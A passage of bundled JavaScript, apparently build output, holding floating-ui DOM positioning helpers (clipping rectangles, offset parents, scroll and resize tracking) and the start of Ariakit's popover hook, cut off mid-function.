8194 var lastTraversableNodeNames = /* @__PURE__ */ new Set(["html", "body", "#document"]);
8195 function isLastTraversableNode(node2) {
8196 return lastTraversableNodeNames.has(getNodeName(node2));
8197 }
8198 function getComputedStyle2(element) {
8199 return getWindow2(element).getComputedStyle(element);
8200 }
8201 function getNodeScroll(element) {
8202 if (isElement(element)) {
8203 return {
8204 scrollLeft: element.scrollLeft,
8205 scrollTop: element.scrollTop
8206 };
8207 }
8208 return {
8209 scrollLeft: element.scrollX,
8210 scrollTop: element.scrollY
8211 };
8212 }
8213 function getParentNode(node2) {
8214 if (getNodeName(node2) === "html") {
8215 return node2;
8216 }
8217 const result = (
8218 // Step into the shadow DOM of the parent of a slotted node.
8219 node2.assignedSlot || // DOM Element detected.
8220 node2.parentNode || // ShadowRoot detected.
8221 isShadowRoot(node2) && node2.host || // Fallback.
8222 getDocumentElement(node2)
8223 );
8224 return isShadowRoot(result) ? result.host : result;
8225 }
8226 function getNearestOverflowAncestor(node2) {
8227 const parentNode = getParentNode(node2);
8228 if (isLastTraversableNode(parentNode)) {
8229 return node2.ownerDocument ? node2.ownerDocument.body : node2.body;
8230 }
8231 if (isHTMLElement(parentNode) && isOverflowElement(parentNode)) {
8232 return parentNode;
8233 }
8234 return getNearestOverflowAncestor(parentNode);
8235 }
8236 function getOverflowAncestors(node2, list, traverseIframes) {
8237 var _node$ownerDocument2;
8238 if (list === void 0) {
8239 list = [];
8240 }
8241 if (traverseIframes === void 0) {
8242 traverseIframes = true;
8243 }
8244 const scrollableAncestor = getNearestOverflowAncestor(node2);
8245 const isBody = scrollableAncestor === ((_node$ownerDocument2 = node2.ownerDocument) == null ? void 0 : _node$ownerDocument2.body);
8246 const win = getWindow2(scrollableAncestor);
8247 if (isBody) {
8248 const frameElement = getFrameElement(win);
8249 return list.concat(win, win.visualViewport || [], isOverflowElement(scrollableAncestor) ? scrollableAncestor : [], frameElement && traverseIframes ? getOverflowAncestors(frameElement) : []);
8250 }
8251 return list.concat(scrollableAncestor, getOverflowAncestors(scrollableAncestor, [], traverseIframes));
8252 }
8253 function getFrameElement(win) {
8254 return win.parent && Object.getPrototypeOf(win.parent) ? win.frameElement : null;
8255 }
8256
8257 // node_modules/@floating-ui/dom/dist/floating-ui.dom.mjs
8258 function getCssDimensions(element) {
8259 const css3 = getComputedStyle2(element);
8260 let width = parseFloat(css3.width) || 0;
8261 let height = parseFloat(css3.height) || 0;
8262 const hasOffset = isHTMLElement(element);
8263 const offsetWidth = hasOffset ? element.offsetWidth : width;
8264 const offsetHeight = hasOffset ? element.offsetHeight : height;
8265 const shouldFallback = round(width) !== offsetWidth || round(height) !== offsetHeight;
8266 if (shouldFallback) {
8267 width = offsetWidth;
8268 height = offsetHeight;
8269 }
8270 return {
8271 width,
8272 height,
8273 $: shouldFallback
8274 };
8275 }
8276 function unwrapElement(element) {
8277 return !isElement(element) ? element.contextElement : element;
8278 }
8279 function getScale(element) {
8280 const domElement = unwrapElement(element);
8281 if (!isHTMLElement(domElement)) {
8282 return createCoords(1);
8283 }
8284 const rect = domElement.getBoundingClientRect();
8285 const {
8286 width,
8287 height,
8288 $: $3
8289 } = getCssDimensions(domElement);
8290 let x2 = ($3 ? round(rect.width) : rect.width) / width;
8291 let y3 = ($3 ? round(rect.height) : rect.height) / height;
8292 if (!x2 || !Number.isFinite(x2)) {
8293 x2 = 1;
8294 }
8295 if (!y3 || !Number.isFinite(y3)) {
8296 y3 = 1;
8297 }
8298 return {
8299 x: x2,
8300 y: y3
8301 };
8302 }
8303 var noOffsets = /* @__PURE__ */ createCoords(0);
8304 function getVisualOffsets(element) {
8305 const win = getWindow2(element);
8306 if (!isWebKit() || !win.visualViewport) {
8307 return noOffsets;
8308 }
8309 return {
8310 x: win.visualViewport.offsetLeft,
8311 y: win.visualViewport.offsetTop
8312 };
8313 }
8314 function shouldAddVisualOffsets(element, isFixed, floatingOffsetParent) {
8315 if (isFixed === void 0) {
8316 isFixed = false;
8317 }
8318 if (!floatingOffsetParent || isFixed && floatingOffsetParent !== getWindow2(element)) {
8319 return false;
8320 }
8321 return isFixed;
8322 }
8323 function getBoundingClientRect(element, includeScale, isFixedStrategy, offsetParent) {
8324 if (includeScale === void 0) {
8325 includeScale = false;
8326 }
8327 if (isFixedStrategy === void 0) {
8328 isFixedStrategy = false;
8329 }
8330 const clientRect = element.getBoundingClientRect();
8331 const domElement = unwrapElement(element);
8332 let scale2 = createCoords(1);
8333 if (includeScale) {
8334 if (offsetParent) {
8335 if (isElement(offsetParent)) {
8336 scale2 = getScale(offsetParent);
8337 }
8338 } else {
8339 scale2 = getScale(element);
8340 }
8341 }
8342 const visualOffsets = shouldAddVisualOffsets(domElement, isFixedStrategy, offsetParent) ? getVisualOffsets(domElement) : createCoords(0);
8343 let x2 = (clientRect.left + visualOffsets.x) / scale2.x;
8344 let y3 = (clientRect.top + visualOffsets.y) / scale2.y;
8345 let width = clientRect.width / scale2.x;
8346 let height = clientRect.height / scale2.y;
8347 if (domElement) {
8348 const win = getWindow2(domElement);
8349 const offsetWin = offsetParent && isElement(offsetParent) ? getWindow2(offsetParent) : offsetParent;
8350 let currentWin = win;
8351 let currentIFrame = getFrameElement(currentWin);
8352 while (currentIFrame && offsetParent && offsetWin !== currentWin) {
8353 const iframeScale = getScale(currentIFrame);
8354 const iframeRect = currentIFrame.getBoundingClientRect();
8355 const css3 = getComputedStyle2(currentIFrame);
8356 const left = iframeRect.left + (currentIFrame.clientLeft + parseFloat(css3.paddingLeft)) * iframeScale.x;
8357 const top = iframeRect.top + (currentIFrame.clientTop + parseFloat(css3.paddingTop)) * iframeScale.y;
8358 x2 *= iframeScale.x;
8359 y3 *= iframeScale.y;
8360 width *= iframeScale.x;
8361 height *= iframeScale.y;
8362 x2 += left;
8363 y3 += top;
8364 currentWin = getWindow2(currentIFrame);
8365 currentIFrame = getFrameElement(currentWin);
8366 }
8367 }
8368 return rectToClientRect({
8369 width,
8370 height,
8371 x: x2,
8372 y: y3
8373 });
8374 }
8375 function getWindowScrollBarX(element, rect) {
8376 const leftScroll = getNodeScroll(element).scrollLeft;
8377 if (!rect) {
8378 return getBoundingClientRect(getDocumentElement(element)).left + leftScroll;
8379 }
8380 return rect.left + leftScroll;
8381 }
8382 function getHTMLOffset(documentElement, scroll) {
8383 const htmlRect = documentElement.getBoundingClientRect();
8384 const x2 = htmlRect.left + scroll.scrollLeft - getWindowScrollBarX(documentElement, htmlRect);
8385 const y3 = htmlRect.top + scroll.scrollTop;
8386 return {
8387 x: x2,
8388 y: y3
8389 };
8390 }
8391 function convertOffsetParentRelativeRectToViewportRelativeRect(_ref11) {
8392 let {
8393 elements: elements2,
8394 rect,
8395 offsetParent,
8396 strategy
8397 } = _ref11;
8398 const isFixed = strategy === "fixed";
8399 const documentElement = getDocumentElement(offsetParent);
8400 const topLayer = elements2 ? isTopLayer(elements2.floating) : false;
8401 if (offsetParent === documentElement || topLayer && isFixed) {
8402 return rect;
8403 }
8404 let scroll = {
8405 scrollLeft: 0,
8406 scrollTop: 0
8407 };
8408 let scale2 = createCoords(1);
8409 const offsets = createCoords(0);
8410 const isOffsetParentAnElement = isHTMLElement(offsetParent);
8411 if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {
8412 if (getNodeName(offsetParent) !== "body" || isOverflowElement(documentElement)) {
8413 scroll = getNodeScroll(offsetParent);
8414 }
8415 if (isHTMLElement(offsetParent)) {
8416 const offsetRect = getBoundingClientRect(offsetParent);
8417 scale2 = getScale(offsetParent);
8418 offsets.x = offsetRect.x + offsetParent.clientLeft;
8419 offsets.y = offsetRect.y + offsetParent.clientTop;
8420 }
8421 }
8422 const htmlOffset = documentElement && !isOffsetParentAnElement && !isFixed ? getHTMLOffset(documentElement, scroll) : createCoords(0);
8423 return {
8424 width: rect.width * scale2.x,
8425 height: rect.height * scale2.y,
8426 x: rect.x * scale2.x - scroll.scrollLeft * scale2.x + offsets.x + htmlOffset.x,
8427 y: rect.y * scale2.y - scroll.scrollTop * scale2.y + offsets.y + htmlOffset.y
8428 };
8429 }
8430 function getClientRects(element) {
8431 return Array.from(element.getClientRects());
8432 }
8433 function getDocumentRect(element) {
8434 const html = getDocumentElement(element);
8435 const scroll = getNodeScroll(element);
8436 const body = element.ownerDocument.body;
8437 const width = max(html.scrollWidth, html.clientWidth, body.scrollWidth, body.clientWidth);
8438 const height = max(html.scrollHeight, html.clientHeight, body.scrollHeight, body.clientHeight);
8439 let x2 = -scroll.scrollLeft + getWindowScrollBarX(element);
8440 const y3 = -scroll.scrollTop;
8441 if (getComputedStyle2(body).direction === "rtl") {
8442 x2 += max(html.clientWidth, body.clientWidth) - width;
8443 }
8444 return {
8445 width,
8446 height,
8447 x: x2,
8448 y: y3
8449 };
8450 }
8451 var SCROLLBAR_MAX = 25;
8452 function getViewportRect(element, strategy) {
8453 const win = getWindow2(element);
8454 const html = getDocumentElement(element);
8455 const visualViewport = win.visualViewport;
8456 let width = html.clientWidth;
8457 let height = html.clientHeight;
8458 let x2 = 0;
8459 let y3 = 0;
8460 if (visualViewport) {
8461 width = visualViewport.width;
8462 height = visualViewport.height;
8463 const visualViewportBased = isWebKit();
8464 if (!visualViewportBased || visualViewportBased && strategy === "fixed") {
8465 x2 = visualViewport.offsetLeft;
8466 y3 = visualViewport.offsetTop;
8467 }
8468 }
8469 const windowScrollbarX = getWindowScrollBarX(html);
8470 if (windowScrollbarX <= 0) {
8471 const doc = html.ownerDocument;
8472 const body = doc.body;
8473 const bodyStyles = getComputedStyle(body);
8474 const bodyMarginInline = doc.compatMode === "CSS1Compat" ? parseFloat(bodyStyles.marginLeft) + parseFloat(bodyStyles.marginRight) || 0 : 0;
8475 const clippingStableScrollbarWidth = Math.abs(html.clientWidth - body.clientWidth - bodyMarginInline);
8476 if (clippingStableScrollbarWidth <= SCROLLBAR_MAX) {
8477 width -= clippingStableScrollbarWidth;
8478 }
8479 } else if (windowScrollbarX <= SCROLLBAR_MAX) {
8480 width += windowScrollbarX;
8481 }
8482 return {
8483 width,
8484 height,
8485 x: x2,
8486 y: y3
8487 };
8488 }
8489 var absoluteOrFixed = /* @__PURE__ */ new Set(["absolute", "fixed"]);
8490 function getInnerBoundingClientRect(element, strategy) {
8491 const clientRect = getBoundingClientRect(element, true, strategy === "fixed");
8492 const top = clientRect.top + element.clientTop;
8493 const left = clientRect.left + element.clientLeft;
8494 const scale2 = isHTMLElement(element) ? getScale(element) : createCoords(1);
8495 const width = element.clientWidth * scale2.x;
8496 const height = element.clientHeight * scale2.y;
8497 const x2 = left * scale2.x;
8498 const y3 = top * scale2.y;
8499 return {
8500 width,
8501 height,
8502 x: x2,
8503 y: y3
8504 };
8505 }
8506 function getClientRectFromClippingAncestor(element, clippingAncestor, strategy) {
8507 let rect;
8508 if (clippingAncestor === "viewport") {
8509 rect = getViewportRect(element, strategy);
8510 } else if (clippingAncestor === "document") {
8511 rect = getDocumentRect(getDocumentElement(element));
8512 } else if (isElement(clippingAncestor)) {
8513 rect = getInnerBoundingClientRect(clippingAncestor, strategy);
8514 } else {
8515 const visualOffsets = getVisualOffsets(element);
8516 rect = {
8517 x: clippingAncestor.x - visualOffsets.x,
8518 y: clippingAncestor.y - visualOffsets.y,
8519 width: clippingAncestor.width,
8520 height: clippingAncestor.height
8521 };
8522 }
8523 return rectToClientRect(rect);
8524 }
8525 function hasFixedPositionAncestor(element, stopNode) {
8526 const parentNode = getParentNode(element);
8527 if (parentNode === stopNode || !isElement(parentNode) || isLastTraversableNode(parentNode)) {
8528 return false;
8529 }
8530 return getComputedStyle2(parentNode).position === "fixed" || hasFixedPositionAncestor(parentNode, stopNode);
8531 }
8532 function getClippingElementAncestors(element, cache2) {
8533 const cachedResult = cache2.get(element);
8534 if (cachedResult) {
8535 return cachedResult;
8536 }
8537 let result = getOverflowAncestors(element, [], false).filter((el) => isElement(el) && getNodeName(el) !== "body");
8538 let currentContainingBlockComputedStyle = null;
8539 const elementIsFixed = getComputedStyle2(element).position === "fixed";
8540 let currentNode = elementIsFixed ? getParentNode(element) : element;
8541 while (isElement(currentNode) && !isLastTraversableNode(currentNode)) {
8542 const computedStyle = getComputedStyle2(currentNode);
8543 const currentNodeIsContaining = isContainingBlock(currentNode);
8544 if (!currentNodeIsContaining && computedStyle.position === "fixed") {
8545 currentContainingBlockComputedStyle = null;
8546 }
8547 const shouldDropCurrentNode = elementIsFixed ? !currentNodeIsContaining && !currentContainingBlockComputedStyle : !currentNodeIsContaining && computedStyle.position === "static" && !!currentContainingBlockComputedStyle && absoluteOrFixed.has(currentContainingBlockComputedStyle.position) || isOverflowElement(currentNode) && !currentNodeIsContaining && hasFixedPositionAncestor(element, currentNode);
8548 if (shouldDropCurrentNode) {
8549 result = result.filter((ancestor) => ancestor !== currentNode);
8550 } else {
8551 currentContainingBlockComputedStyle = computedStyle;
8552 }
8553 currentNode = getParentNode(currentNode);
8554 }
8555 cache2.set(element, result);
8556 return result;
8557 }
8558 function getClippingRect(_ref11) {
8559 let {
8560 element,
8561 boundary,
8562 rootBoundary,
8563 strategy
8564 } = _ref11;
8565 const elementClippingAncestors = boundary === "clippingAncestors" ? isTopLayer(element) ? [] : getClippingElementAncestors(element, this._c) : [].concat(boundary);
8566 const clippingAncestors = [...elementClippingAncestors, rootBoundary];
8567 const firstClippingAncestor = clippingAncestors[0];
8568 const clippingRect = clippingAncestors.reduce((accRect, clippingAncestor) => {
8569 const rect = getClientRectFromClippingAncestor(element, clippingAncestor, strategy);
8570 accRect.top = max(rect.top, accRect.top);
8571 accRect.right = min(rect.right, accRect.right);
8572 accRect.bottom = min(rect.bottom, accRect.bottom);
8573 accRect.left = max(rect.left, accRect.left);
8574 return accRect;
8575 }, getClientRectFromClippingAncestor(element, firstClippingAncestor, strategy));
8576 return {
8577 width: clippingRect.right - clippingRect.left,
8578 height: clippingRect.bottom - clippingRect.top,
8579 x: clippingRect.left,
8580 y: clippingRect.top
8581 };
8582 }
8583 function getDimensions(element) {
8584 const {
8585 width,
8586 height
8587 } = getCssDimensions(element);
8588 return {
8589 width,
8590 height
8591 };
8592 }
8593 function getRectRelativeToOffsetParent(element, offsetParent, strategy) {
8594 const isOffsetParentAnElement = isHTMLElement(offsetParent);
8595 const documentElement = getDocumentElement(offsetParent);
8596 const isFixed = strategy === "fixed";
8597 const rect = getBoundingClientRect(element, true, isFixed, offsetParent);
8598 let scroll = {
8599 scrollLeft: 0,
8600 scrollTop: 0
8601 };
8602 const offsets = createCoords(0);
8603 function setLeftRTLScrollbarOffset() {
8604 offsets.x = getWindowScrollBarX(documentElement);
8605 }
8606 if (isOffsetParentAnElement || !isOffsetParentAnElement && !isFixed) {
8607 if (getNodeName(offsetParent) !== "body" || isOverflowElement(documentElement)) {
8608 scroll = getNodeScroll(offsetParent);
8609 }
8610 if (isOffsetParentAnElement) {
8611 const offsetRect = getBoundingClientRect(offsetParent, true, isFixed, offsetParent);
8612 offsets.x = offsetRect.x + offsetParent.clientLeft;
8613 offsets.y = offsetRect.y + offsetParent.clientTop;
8614 } else if (documentElement) {
8615 setLeftRTLScrollbarOffset();
8616 }
8617 }
8618 if (isFixed && !isOffsetParentAnElement && documentElement) {
8619 setLeftRTLScrollbarOffset();
8620 }
8621 const htmlOffset = documentElement && !isOffsetParentAnElement && !isFixed ? getHTMLOffset(documentElement, scroll) : createCoords(0);
8622 const x2 = rect.left + scroll.scrollLeft - offsets.x - htmlOffset.x;
8623 const y3 = rect.top + scroll.scrollTop - offsets.y - htmlOffset.y;
8624 return {
8625 x: x2,
8626 y: y3,
8627 width: rect.width,
8628 height: rect.height
8629 };
8630 }
8631 function isStaticPositioned(element) {
8632 return getComputedStyle2(element).position === "static";
8633 }
8634 function getTrueOffsetParent(element, polyfill) {
8635 if (!isHTMLElement(element) || getComputedStyle2(element).position === "fixed") {
8636 return null;
8637 }
8638 if (polyfill) {
8639 return polyfill(element);
8640 }
8641 let rawOffsetParent = element.offsetParent;
8642 if (getDocumentElement(element) === rawOffsetParent) {
8643 rawOffsetParent = rawOffsetParent.ownerDocument.body;
8644 }
8645 return rawOffsetParent;
8646 }
8647 function getOffsetParent(element, polyfill) {
8648 const win = getWindow2(element);
8649 if (isTopLayer(element)) {
8650 return win;
8651 }
8652 if (!isHTMLElement(element)) {
8653 let svgOffsetParent = getParentNode(element);
8654 while (svgOffsetParent && !isLastTraversableNode(svgOffsetParent)) {
8655 if (isElement(svgOffsetParent) && !isStaticPositioned(svgOffsetParent)) {
8656 return svgOffsetParent;
8657 }
8658 svgOffsetParent = getParentNode(svgOffsetParent);
8659 }
8660 return win;
8661 }
8662 let offsetParent = getTrueOffsetParent(element, polyfill);
8663 while (offsetParent && isTableElement(offsetParent) && isStaticPositioned(offsetParent)) {
8664 offsetParent = getTrueOffsetParent(offsetParent, polyfill);
8665 }
8666 if (offsetParent && isLastTraversableNode(offsetParent) && isStaticPositioned(offsetParent) && !isContainingBlock(offsetParent)) {
8667 return win;
8668 }
8669 return offsetParent || getContainingBlock(element) || win;
8670 }
8671 var getElementRects = async function(data) {
8672 const getOffsetParentFn = this.getOffsetParent || getOffsetParent;
8673 const getDimensionsFn = this.getDimensions;
8674 const floatingDimensions = await getDimensionsFn(data.floating);
8675 return {
8676 reference: getRectRelativeToOffsetParent(data.reference, await getOffsetParentFn(data.floating), data.strategy),
8677 floating: {
8678 x: 0,
8679 y: 0,
8680 width: floatingDimensions.width,
8681 height: floatingDimensions.height
8682 }
8683 };
8684 };
8685 function isRTL(element) {
8686 return getComputedStyle2(element).direction === "rtl";
8687 }
8688 var platform = {
8689 convertOffsetParentRelativeRectToViewportRelativeRect,
8690 getDocumentElement,
8691 getClippingRect,
8692 getOffsetParent,
8693 getElementRects,
8694 getClientRects,
8695 getDimensions,
8696 getScale,
8697 isElement,
8698 isRTL
8699 };
8700 function rectsAreEqual(a3, b3) {
8701 return a3.x === b3.x && a3.y === b3.y && a3.width === b3.width && a3.height === b3.height;
8702 }
8703 function observeMove(element, onMove) {
8704 let io = null;
8705 let timeoutId;
8706 const root = getDocumentElement(element);
8707 function cleanup() {
8708 var _io;
8709 clearTimeout(timeoutId);
8710 (_io = io) == null || _io.disconnect();
8711 io = null;
8712 }
8713 function refresh(skip, threshold) {
8714 if (skip === void 0) {
8715 skip = false;
8716 }
8717 if (threshold === void 0) {
8718 threshold = 1;
8719 }
8720 cleanup();
8721 const elementRectForRootMargin = element.getBoundingClientRect();
8722 const {
8723 left,
8724 top,
8725 width,
8726 height
8727 } = elementRectForRootMargin;
8728 if (!skip) {
8729 onMove();
8730 }
8731 if (!width || !height) {
8732 return;
8733 }
8734 const insetTop = floor(top);
8735 const insetRight = floor(root.clientWidth - (left + width));
8736 const insetBottom = floor(root.clientHeight - (top + height));
8737 const insetLeft = floor(left);
8738 const rootMargin = -insetTop + "px " + -insetRight + "px " + -insetBottom + "px " + -insetLeft + "px";
8739 const options2 = {
8740 rootMargin,
8741 threshold: max(0, min(1, threshold)) || 1
8742 };
8743 let isFirstUpdate = true;
8744 function handleObserve(entries) {
8745 const ratio = entries[0].intersectionRatio;
8746 if (ratio !== threshold) {
8747 if (!isFirstUpdate) {
8748 return refresh();
8749 }
8750 if (!ratio) {
8751 timeoutId = setTimeout(() => {
8752 refresh(false, 1e-7);
8753 }, 1e3);
8754 } else {
8755 refresh(false, ratio);
8756 }
8757 }
8758 if (ratio === 1 && !rectsAreEqual(elementRectForRootMargin, element.getBoundingClientRect())) {
8759 refresh();
8760 }
8761 isFirstUpdate = false;
8762 }
8763 try {
8764 io = new IntersectionObserver(handleObserve, {
8765 ...options2,
8766 // Handle <iframe>s
8767 root: root.ownerDocument
8768 });
8769 } catch (_e) {
8770 io = new IntersectionObserver(handleObserve, options2);
8771 }
8772 io.observe(element);
8773 }
8774 refresh(true);
8775 return cleanup;
8776 }
8777 function autoUpdate(reference, floating, update, options2) {
8778 if (options2 === void 0) {
8779 options2 = {};
8780 }
8781 const {
8782 ancestorScroll = true,
8783 ancestorResize = true,
8784 elementResize = typeof ResizeObserver === "function",
8785 layoutShift = typeof IntersectionObserver === "function",
8786 animationFrame = false
8787 } = options2;
8788 const referenceEl = unwrapElement(reference);
8789 const ancestors = ancestorScroll || ancestorResize ? [...referenceEl ? getOverflowAncestors(referenceEl) : [], ...getOverflowAncestors(floating)] : [];
8790 ancestors.forEach((ancestor) => {
8791 ancestorScroll && ancestor.addEventListener("scroll", update, {
8792 passive: true
8793 });
8794 ancestorResize && ancestor.addEventListener("resize", update);
8795 });
8796 const cleanupIo = referenceEl && layoutShift ? observeMove(referenceEl, update) : null;
8797 let reobserveFrame = -1;
8798 let resizeObserver = null;
8799 if (elementResize) {
8800 resizeObserver = new ResizeObserver((_ref11) => {
8801 let [firstEntry] = _ref11;
8802 if (firstEntry && firstEntry.target === referenceEl && resizeObserver) {
8803 resizeObserver.unobserve(floating);
8804 cancelAnimationFrame(reobserveFrame);
8805 reobserveFrame = requestAnimationFrame(() => {
8806 var _resizeObserver;
8807 (_resizeObserver = resizeObserver) == null || _resizeObserver.observe(floating);
8808 });
8809 }
8810 update();
8811 });
8812 if (referenceEl && !animationFrame) {
8813 resizeObserver.observe(referenceEl);
8814 }
8815 resizeObserver.observe(floating);
8816 }
8817 let frameId;
8818 let prevRefRect = animationFrame ? getBoundingClientRect(reference) : null;
8819 if (animationFrame) {
8820 frameLoop();
8821 }
8822 function frameLoop() {
8823 const nextRefRect = getBoundingClientRect(reference);
8824 if (prevRefRect && !rectsAreEqual(prevRefRect, nextRefRect)) {
8825 update();
8826 }
8827 prevRefRect = nextRefRect;
8828 frameId = requestAnimationFrame(frameLoop);
8829 }
8830 update();
8831 return () => {
8832 var _resizeObserver2;
8833 ancestors.forEach((ancestor) => {
8834 ancestorScroll && ancestor.removeEventListener("scroll", update);
8835 ancestorResize && ancestor.removeEventListener("resize", update);
8836 });
8837 cleanupIo == null || cleanupIo();
8838 (_resizeObserver2 = resizeObserver) == null || _resizeObserver2.disconnect();
8839 resizeObserver = null;
8840 if (animationFrame) {
8841 cancelAnimationFrame(frameId);
8842 }
8843 };
8844 }
8845 var offset2 = offset;
8846 var shift2 = shift;
8847 var flip2 = flip;
8848 var size2 = size;
8849 var arrow2 = arrow;
8850 var limitShift2 = limitShift;
8851 var computePosition2 = (reference, floating, options2) => {
8852 const cache2 = /* @__PURE__ */ new Map();
8853 const mergedOptions = {
8854 platform,
8855 ...options2
8856 };
8857 const platformWithCache = {
8858 ...mergedOptions.platform,
8859 _c: cache2
8860 };
8861 return computePosition(reference, floating, {
8862 ...mergedOptions,
8863 platform: platformWithCache
8864 });
8865 };
8866
8867 // node_modules/@ariakit/react-core/esm/__chunks/KW7Z5AIL.js
8868 var import_react28 = __toESM(require_react(), 1);
8869 var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
8870 var TagName20 = "div";
8871 function createDOMRect(x2 = 0, y3 = 0, width = 0, height = 0) {
8872 if (typeof DOMRect === "function") {
8873 return new DOMRect(x2, y3, width, height);
8874 }
8875 const rect = {
8876 x: x2,
8877 y: y3,
8878 width,
8879 height,
8880 top: y3,
8881 right: x2 + width,
8882 bottom: y3 + height,
8883 left: x2
8884 };
8885 return { ...rect, toJSON: () => rect };
8886 }
8887 function getDOMRect(anchorRect) {
8888 if (!anchorRect) return createDOMRect();
8889 const { x: x2, y: y3, width, height } = anchorRect;
8890 return createDOMRect(x2, y3, width, height);
8891 }
8892 function getAnchorElement(anchorElement, getAnchorRect) {
8893 const contextElement = anchorElement || void 0;
8894 return {
8895 contextElement,
8896 getBoundingClientRect: () => {
8897 const anchor = anchorElement;
8898 const anchorRect = getAnchorRect == null ? void 0 : getAnchorRect(anchor);
8899 if (anchorRect || !anchor) {
8900 return getDOMRect(anchorRect);
8901 }
8902 return anchor.getBoundingClientRect();
8903 }
8904 };
8905 }
8906 function isValidPlacement(flip22) {
8907 return /^(?:top|bottom|left|right)(?:-(?:start|end))?$/.test(flip22);
8908 }
8909 function roundByDPR(value) {
8910 const dpr = window.devicePixelRatio || 1;
8911 return Math.round(value * dpr) / dpr;
8912 }
8913 function getOffsetMiddleware(arrowElement, props) {
8914 return offset2(({ placement }) => {
8915 var _a;
8916 const arrowOffset = ((arrowElement == null ? void 0 : arrowElement.clientHeight) || 0) / 2;
8917 const finalGutter = typeof props.gutter === "number" ? props.gutter + arrowOffset : (_a = props.gutter) != null ? _a : arrowOffset;
8918 const hasAlignment = !!placement.split("-")[1];
8919 return {
8920 crossAxis: !hasAlignment ? props.shift : void 0,
8921 mainAxis: finalGutter,
8922 alignmentAxis: props.shift
8923 };
8924 });
8925 }
8926 function getFlipMiddleware(props) {
8927 if (props.flip === false) return;
8928 const fallbackPlacements = typeof props.flip === "string" ? props.flip.split(" ") : void 0;
8929 invariant(
8930 !fallbackPlacements || fallbackPlacements.every(isValidPlacement),
8931 "`flip` expects a spaced-delimited list of placements"
8932 );
8933 return flip2({
8934 padding: props.overflowPadding,
8935 fallbackPlacements
8936 });
8937 }
8938 function getShiftMiddleware(props) {
8939 if (!props.slide && !props.overlap) return;
8940 return shift2({
8941 mainAxis: props.slide,
8942 crossAxis: props.overlap,
8943 padding: props.overflowPadding,
8944 limiter: limitShift2()
8945 });
8946 }
8947 function getSizeMiddleware(props) {
8948 return size2({
8949 padding: props.overflowPadding,
8950 apply({ elements: elements2, availableWidth, availableHeight, rects }) {
8951 const wrapper3 = elements2.floating;
8952 const referenceWidth = Math.round(rects.reference.width);
8953 availableWidth = Math.floor(availableWidth);
8954 availableHeight = Math.floor(availableHeight);
8955 wrapper3.style.setProperty(
8956 "--popover-anchor-width",
8957 `${referenceWidth}px`
8958 );
8959 wrapper3.style.setProperty(
8960 "--popover-available-width",
8961 `${availableWidth}px`
8962 );
8963 wrapper3.style.setProperty(
8964 "--popover-available-height",
8965 `${availableHeight}px`
8966 );
8967 if (props.sameWidth) {
8968 wrapper3.style.width = `${referenceWidth}px`;
8969 }
8970 if (props.fitViewport) {
8971 wrapper3.style.maxWidth = `${availableWidth}px`;
8972 wrapper3.style.maxHeight = `${availableHeight}px`;
8973 }
8974 }
8975 });
8976 }
8977 function getArrowMiddleware(arrowElement, props) {
8978 if (!arrowElement) return;
8979 return arrow2({
8980 element: arrowElement,
8981 padding: props.arrowPadding
8982 });
8983 }
8984 var usePopover = createHook(
8985 function usePopover2({
8986 store,
8987 modal = false,
8988 portal = !!modal,
8989 preserveTabOrder = true,
8990 autoFocusOnShow = true,
8991 wrapperProps,
8992 fixed = false,
8993 flip: flip22 = true,
8994 shift: shift22 = 0,
8995 slide = true,
8996 overlap = false,
8997 sameWidth = false,
8998 fitViewport = false,
8999 gutter,
9000 arrowPadding = 4,
9001 overflowPadding = 8,
9002 getAnchorRect,
9003 updatePosition,
9004 ...props
9005 }) {
9006 const context = usePopoverProviderContext();
9007 store = store || context;
9008 invariant(
9009 store,
9010 "Popover must receive a `store` prop or be wrapped in a PopoverProvider component."
9011 );
9012 const arrowElement = store.useState("arrowElement");
9013 const anchorElement = store.useState("anchorElement");
9014 const disclosureElement = store.useState("disclosureElement");
9015 const popoverElement = store.useState("popoverElement");
9016 const contentElement = store.useState("contentElement");
9017 const placement = store.useState("placement");
9018 const mounted = store.useState("mounted");
9019 const rendered = store.useState("rendered");
9020 const defaultArrowElementRef = (0, import_react28.useRef)(null);
9021 const [positioned, setPositioned] = (0, import_react28.useState)(false);
9022 const { portalRef, domReady } = usePortalRef(portal, props.portalRef);
9023 const getAnchorRectProp = useEvent(getAnchorRect);
9024 const updatePositionProp = useEvent(updatePosition);
9025 const hasCustomUpdatePosition = !!updatePosition;
9026 useSafeLayoutEffect(() => {
9027 if (!(popoverElement == null ? void 0 : popoverElement.isConnected)) return;
9028 popoverElement.style.setProperty(
9029 "--popover-overflow-padding",
9030 `${overflowPadding}px`
9031 );
9032 const anchor = getAnchorElement(anchorElement, getAnchorRectProp);
9033 const updatePosition2 = async () => {
9034 if (!mounted) return;
9035 if (!arrowElement) {
9036 defaultArrowElementRef.current = defaultArrowElementRef.current || document.createElement("div");
9037 }
9038 const arrow22 = arrowElement || defaultArrowElementRef.current;
9039 const middleware2 = [
9040 getOffsetMiddleware(arrow22, { gutter, shift: shift22 }),
9041 getFlipMiddleware({ flip: flip22, overflowPadding }),
9042 getShiftMiddleware({ slide, shift: shift22, overlap, overflowPadding }),
9043 getArrowMiddleware(arrow22, { arrowPadding }),
9044 getSizeMiddleware({
9045 sameWidth,
9046 fitViewport,
9047 overflowPadding
9048 })
9049 ];
9050 const pos = await computePosition2(anchor, popoverElement, {
9051 placement,
9052 strategy: fixed ? "fixed" : "absolute",
9053 middleware: middleware2
9054 });
9055 store == null ? void 0 : store.setState("currentPlacement", pos.placement);
9056 setPositioned(true);
9057 const x2 = roundByDPR(pos.x);
9058 const y3 = roundByDPR(pos.y);
9059 Object.assign(popoverElement.style, {
9060 top: "0",
9061 left: "0",
9062 transform: `translate3d(${x2}px,${y3}px,0)`
9063 });
9064 if (arrow22 && pos.middlewareData.arrow) {
9065 const { x: arrowX, y: arrowY } = pos.middlewareData.arrow;
9066 const side = pos.placement.split("-")[0];
9067 const centerX = arrow22.clientWidth / 2;
9068 const centerY = arrow22.clientHeight / 2;
9069 const originX = arrowX != null ? arrowX + centerX : -centerX;
9070 const originY = arrowY != null ? arrowY + centerY : -centerY;
9071 popoverElement.style.setProperty(
9072 "--popover-transform-origin",
9073 {
9074 top: `${originX}px calc(100% + ${centerY}px)`,
9075 bottom: `${originX}px ${-centerY}px`,
9076 left: `calc(100% + ${centerX}px) ${originY}px`,
9077 right: `${-centerX}px ${originY}px`
9078 }[side]
9079 );
9080 Object.assign(arrow22.style, {
